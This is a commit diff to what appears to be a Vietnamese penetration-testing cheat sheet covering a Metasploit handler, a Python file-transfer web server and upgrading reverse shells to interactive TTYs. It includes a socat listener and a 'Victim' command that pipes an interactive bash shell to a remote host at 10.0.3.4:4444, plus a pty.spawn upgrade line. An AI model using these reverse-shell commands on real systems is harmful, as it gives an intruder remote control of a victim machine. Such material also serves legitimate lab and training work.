Update Readme

This commit is contained in:
haudang217 2022-08-23 09:39:59 +07:00 committed by GitHub
parent bed03181e3
commit b48a140195
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23

View File

@ -60,9 +60,9 @@ Sử dụng module "exploit/multi/handler"
TẠO RA MỘT WEBSERVER SỬ DỤNG PYTHON
Python cung cấp module SimpleHTTPServer để biến directory hiện tại thành một webserver cho phép trao đổi file với địa chỉ IP của của máy.
python2
python2
python -m SimpleHTTPServer <port_number>
python3
python3
python3 -m http.server <port_number>
******* Port mặc định nếu không được khai báo là 8000 ******
@ -70,14 +70,16 @@ Python cung cấp module SimpleHTTPServer để biến directory hiện tại th
UPGRADING SIMPLE SHELLS TO FULLY INTERACTIVE TTYs
using python
using python
python -c 'import pty; pty.spawn("/bin/bash")'
• using socat
• using socat
#Listener:
socat file:`tty`,raw,echo=0 tcp-listen:4444
#Victim:
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.0.3.4:4444
• using stty options
• using stty options
# In reverse shell
$ python -c 'import pty; pty.spawn("/bin/bash")'
Ctrl-Z